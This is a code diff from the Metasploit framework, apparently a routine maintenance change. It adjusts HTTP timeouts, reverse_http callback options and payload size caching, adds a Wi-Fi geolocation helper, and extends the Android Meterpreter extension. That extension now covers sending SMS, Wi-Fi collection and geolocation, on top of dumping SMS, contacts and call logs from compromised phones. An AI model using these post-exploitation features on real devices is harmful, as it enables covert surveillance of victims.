Rex::Proto::Http::Client#request_raw. # def send_request_raw(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_raw(opts) @@ -325,7 +336,12 @@ module Exploit::Remote::HttpClient # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + begin c = connect(opts) r = c.request_cgi(opts) @@ -344,7 +360,12 @@ module Exploit::Remote::HttpClient # will contain the full URI. # def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) - actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + res = send_request_cgi(opts, actual_timeout) return res unless res && res.redirect? && redirect_depth > 0 diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 51ed995647..fb643c2fea 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -55,7 +55,9 @@ module ReverseHttp OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), - OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]), + OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), + OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), + OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) @@ -89,13 +91,23 @@ module ReverseHttp # # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req) - if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost'] + callback_host = nil + + # Extract whatever the client sent us in the Host header + if req && req.headers && req.headers['Host'] callback_host = req.headers['Host'] - elsif Rex::Socket.is_ipv6?(datastore['LHOST']) - callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}" - else - callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}" end + + # Override the host and port as appropriate + if datastore['OverrideRequestHost'] || callback_host.nil? + callback_name = datastore['OverrideLHOST'] || datastore['LHOST'] + callback_port = datastore['OverrideLPORT'] || datastore['LPORT'] + if Rex::Socket.is_ipv6? callback_name + callback_name = "[#{callback_name}]" + end + callback_host = "#{callback_name}:#{callback_port}" + end + "#{scheme}://#{callback_host}/" end diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 91a288e599..0fda6c7757 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -20,23 +20,13 @@ module Payload::Generic def initialize(info = {}) super(merge_info(info, 'Arch' => ARCH_ALL - [ARCH_TTY], - 'Platform' => '')) + 'Platform' => '' + )) - register_advanced_options( - [ - OptString.new('PLATFORM', - [ - false, - "The platform that is being targeted", - nil - ]), - OptString.new('ARCH', - [ - false, - "The architecture that is being targeted", - nil - ]) - ], Msf::Payload::Generic) + register_advanced_options([ + OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]), + OptString.new('ARCH', [false, "The architecture that is being targeted", nil]) + ], Msf::Payload::Generic) end # @@ -103,8 +93,8 @@ module Payload::Generic # Stager overrides # - def stage_payload - redirect_to_actual(:stage_payload) + def stage_payload(*args) + redirect_to_actual(:stage_payload, *args) end def stage_offsets diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 574e3ef6ae..9d61ab3dce 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -88,7 +88,7 @@ module Msf::Payload::Stager # Can be nil if the final stage is not pre-assembled. # # @return [String,nil] - def stage_payload + def stage_payload(opts = {}) return module_info['Stage']['Payload'] end diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 50139c1e4f..b740201d30 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 0194d902d3..4a747a7359 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64 ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index d15134f4ca..85e3af4d3a 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -169,6 +169,7 @@ module Msf::Post::Common # through /bin/sh, solving all the pesky parsing troubles, without # affecting Windows. # + start = Time.now.to_i if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ args = "" end @@ -176,9 +177,17 @@ module Msf::Post::Common session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) o = "" + # Wait up to time_out seconds for the first bytes to arrive while (d = process.channel.read) - break if d == "" - o << d + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end end o.chomp! if o @@ -296,12 +305,14 @@ module Msf::Post::Common # Special handle some cases that ARCH_TYPES won't recognize. # https://msdn.microsoft.com/en-us/library/aa384274.aspx case target_arch - when /i386/, /i686/ + when /i[3456]86|wow64/i return ARCH_X86 - when /amd64/i, /ia64/i + when /(amd|ia|x)64/i return ARCH_X86_64 end + # Detect tricky variants of architecture types upfront + # Rely on ARCH_TYPES to tell us a framework-recognizable ARCH. # Notice we're sorting ARCH_TYPES first, so that the longest string # goes first. This step is used because sometimes let's say if the target diff --git a/lib/msf/core/session.rb b/lib/msf/core/session.rb index 25b786426b..3a84221c7a 100644 --- a/lib/msf/core/session.rb +++ b/lib/msf/core/session.rb @@ -225,22 +225,6 @@ module Session "session_#{name}" end - # - # This method logs the supplied buffer as coming from the remote side of - # the session. - # - def log_from_remote(buf) - rlog(buf, log_source) - end - - # - # This method logs the supplied buffer as coming from the local side of - # the session. - # - def log_from_local(buf) - rlog(buf, log_source) - end - ## # # Core interface diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index cb372a609d..13287d2d36 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -837,6 +837,7 @@ class Db print_line " -s List creds matching comma-separated service names" print_line " -u,--user List users that match this regex" print_line " -t,--type List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -O,--origins List creds that match these origins" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line @@ -925,15 +926,16 @@ class Db end def creds_search(*args) - host_ranges = [] - port_ranges = [] - svcs = [] - rhosts = [] + host_ranges = [] + origin_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 @@ -979,6 +981,13 @@ class Db mode = :delete when '-R', '--rhosts' set_rhosts = true + when '-O', '--origins' + hosts = args.shift + if !hosts + print_error("Argument required for -O") + return + end + arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -1058,11 +1067,22 @@ class Db next end - if core.logins.empty? + origin = '' + if core.origin.kind_of?(Metasploit::Credential::Origin::Service) + origin = core.origin.service.host.address + elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session) + origin = core.origin.session.host.address + end + if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) } + next + end + + if core.logins.empty? && origin_ranges.empty? tbl << [ "", # host - "", # port + "", # cred + "", # service core.public, core.private, core.realm, @@ -1070,7 +1090,6 @@ class Db ] else core.logins.each do |login| - # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then we don't have any reason to # print it out. However, we treat the absence of ranges as meaning @@ -1078,7 +1097,9 @@ class Db if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } next end + row = [ login.service.host.address ] + row << origin rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 3148e680d3..b067392452 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -169,7 +169,7 @@ class Driver < Msf::Ui::Driver unless configuration_pathname.nil? if configuration_pathname.readable? - dbinfo = YAML.load_file(configuration_pathname) + dbinfo = YAML.load_file(configuration_pathname) || {} dbenv = opts['DatabaseEnv'] || Rails.env db = dbinfo[dbenv] else diff --git a/lib/msf/util/payload_cached_size.rb b/lib/msf/util/payload_cached_size.rb index f349be43ca..0063b51ea1 100644 --- a/lib/msf/util/payload_cached_size.rb +++ b/lib/msf/util/payload_cached_size.rb @@ -14,6 +14,27 @@ module Util class PayloadCachedSize + OPTS = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # Insert a new CachedSize value into the text of a payload module # # @param data [String] The source code of a payload module @@ -60,7 +81,7 @@ class PayloadCachedSize # @return [Fixnum] def self.compute_cached_size(mod) return ":dynamic" if is_dynamic?(mod) - return mod.new.size + return mod.generate_simple(OPTS).size end # Determines whether a payload generates a static sized output @@ -69,8 +90,9 @@ class PayloadCachedSize # @param generation_count [Fixnum] The number of iterations to use to # verify that the size is static. # @return [Fixnum] - def self.is_dynamic?(mod,generation_count=5) - [*(1..generation_count)].map{|x| mod.new.size}.uniq.length != 1 + def self.is_dynamic?(mod, generation_count=5) + [*(1..generation_count)].map{|x| + mod.generate_simple(OPTS).size}.uniq.length != 1 end # Determines whether a payload's CachedSize is up to date @@ -78,9 +100,9 @@ class PayloadCachedSize # @param mod [Msf::Payload] The class of the payload module to update # @return [Boolean] def self.is_cached_size_accurate?(mod) - return true if mod.dynamic_size? + return true if mod.dynamic_size? && is_dynamic?(mod) return false if mod.cached_size.nil? - mod.cached_size == mod.new.size + mod.cached_size == mod.generate_simple(OPTS).size end end diff --git a/lib/rex/google/geolocation.rb b/lib/rex/google/geolocation.rb new file mode 100755 index 0000000000..3afc328ddf --- /dev/null +++ b/lib/rex/google/geolocation.rb @@ -0,0 +1,68 @@ +#!/usr/bin/env ruby + +require 'net/http' +require 'json' + +module Rex + module Google + # @example + # g = Rex::Google::Geolocation.new + # g.add_wlan("00:11:22:33:44:55", "example", -80) + # g.fetch! + # puts g, g.google_maps_url + class Geolocation + GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&" + + attr_accessor :accuracy + attr_accessor :latitude + attr_accessor :longitude + + def initialize + @uri = URI.parse(URI.encode(GOOGLE_API_URI)) + @wlan_list = [] + end + + # Ask Google's Maps API for the location of a given set of BSSIDs (MAC + # addresses of access points), ESSIDs (AP names), and signal strengths. + def fetch! + @uri.query << @wlan_list.take(10).join("&wifi=") + request = Net::HTTP::Get.new(@uri.request_uri) + http = Net::HTTP.new(@uri.host, @uri.port) + http.use_ssl = true + response = http.request(request) + + if response && response.code == '200' + results = JSON.parse(response.body) + self.latitude = results["location"]["lat"] + self.longitude = results["location"]["lng"] + self.accuracy = results["accuracy"] + else + msg = "Failure connecting to Google for location lookup." + msg += " Code #{response.code} for query #{@uri}" if response + fail msg + end + end + + # Add an AP to the list to send to Google when {#fetch!} is called. + # + # Turns out Google's API doesn't really care about ESSID or signal strength + # as long as you have BSSIDs. Presumably adding them will make it more + # accurate? Who knows. + # + # @param mac [String] in the form "00:11:22:33:44:55" + # @param ssid [String] ESSID associated with the mac + # @param signal_strength [String] a thing like + def add_wlan(mac, ssid = nil, signal_strength = nil) + @wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}")) + end + + def google_maps_url + "https://maps.google.com/?q=#{latitude},#{longitude}" + end + + def to_s + "Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}." + end + end + end +end diff --git a/lib/rex/logging/log_sink.rb b/lib/rex/logging/log_sink.rb index cbb89471a4..c58ef56d97 100644 --- a/lib/rex/logging/log_sink.rb +++ b/lib/rex/logging/log_sink.rb @@ -41,3 +41,4 @@ end require 'rex/logging/sinks/flatfile' require 'rex/logging/sinks/stderr' +require 'rex/logging/sinks/timestamp_flatfile' diff --git a/lib/rex/logging/sinks/timestamp_flatfile.rb b/lib/rex/logging/sinks/timestamp_flatfile.rb new file mode 100644 index 0000000000..bb8fe132b8 --- /dev/null +++ b/lib/rex/logging/sinks/timestamp_flatfile.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- +module Rex +module Logging +module Sinks + +### +# +# This class implements the LogSink interface and backs it against a +# file on disk with a Timestamp. +# +### +class TimestampFlatfile < Flatfile + + def log(sev, src, level, msg, from) # :nodoc: + msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ") + fd.write("[#{get_current_timestamp}] #{msg}\n") + fd.flush + end +end + +end end end diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..c6446cad3a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -1,11 +1,11 @@ #!/usr/bin/env ruby +# # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter @@ -17,9 +17,28 @@ module Android # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Android < Extension + COLLECT_TYPE_WIFI = 1 + + COLLECT_ACTION_START = 1 + COLLECT_ACTION_PAUSE = 2 + COLLECT_ACTION_RESUME = 3 + COLLECT_ACTION_STOP = 4 + COLLECT_ACTION_DUMP = 5 + + COLLECT_TYPES = { + 'wifi' => COLLECT_TYPE_WIFI + } + + COLLECT_ACTIONS = { + 'start' => COLLECT_ACTION_START, + 'pause' => COLLECT_ACTION_PAUSE, + 'resume' => COLLECT_ACTION_START, + 'stop' => COLLECT_ACTION_STOP, + 'dump' => COLLECT_ACTION_DUMP + } + def initialize(client) super(client, 'android') @@ -30,88 +49,129 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + + def collect_actions + return @@collect_action_list ||= COLLECT_ACTIONS.keys + end + + def collect_types + return @@collect_type_list ||= COLLECT_TYPES.keys + end + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + + def interval_collect(opts) + request = Packet.create_request('interval_collect') + request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) + request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) + request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) + response = client.send_request(request) + + result = { + headers: [], + collections: [] + } + + case COLLECT_TYPES[opts[:type]] + when COLLECT_TYPE_WIFI + result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] + result[:entries] = [] + records = {} + + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') + + g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| + bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) + ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) + key = "#{bssid}-#{ssid}" + + if !records.include?(key) || records[key][0] < timestamp + # Level is passed through as positive, because UINT + # but we flip it back to negative on this side + level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + records[key] = [timestamp, bssid, ssid, level] + end + end + end + + records.each do |k, v| + result[:entries] << v + end + end + + result + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -119,8 +179,38 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end -end + def send_sms(dest, body, dr) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) + if dr == false + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] + end + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + end + networks + end +end end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..55925b60cb 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -7,31 +7,52 @@ module Meterpreter module Extensions module Android -TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) -TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) -TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) -TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) -TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) -TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) -TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) -TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) -TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) -TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) -TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) -TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) -TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) -TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) -TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) -TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) -TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) -TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) -TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) -TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) + +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) + +TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050) +TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051) +TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052) +TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053) +TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054) + +# Reuse existing IDs for these +TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP +TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID +TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID +TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL end end diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 3b2519d324..94ba5ceb44 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -83,6 +83,7 @@ class Console channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true) channel.on_command_proc = self.on_command_proc if self.on_command_proc channel.on_print_proc = self.on_print_proc if self.on_print_proc + channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) channel.interact(input, output) channel.reset_ui diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..8030c3329c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,17 +1,17 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google/geolocation' +require 'date' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'interval_collect' => 'Manage interval collection capabilities' } reqs = { - 'dump_sms' => [ 'dump_sms' ], - 'dump_contacts' => [ 'dump_contacts' ], - 'geolocate' => [ 'geolocate' ], - 'dump_calllog' => [ 'dump_calllog' ], - 'check_root' => [ 'check_root' ], - 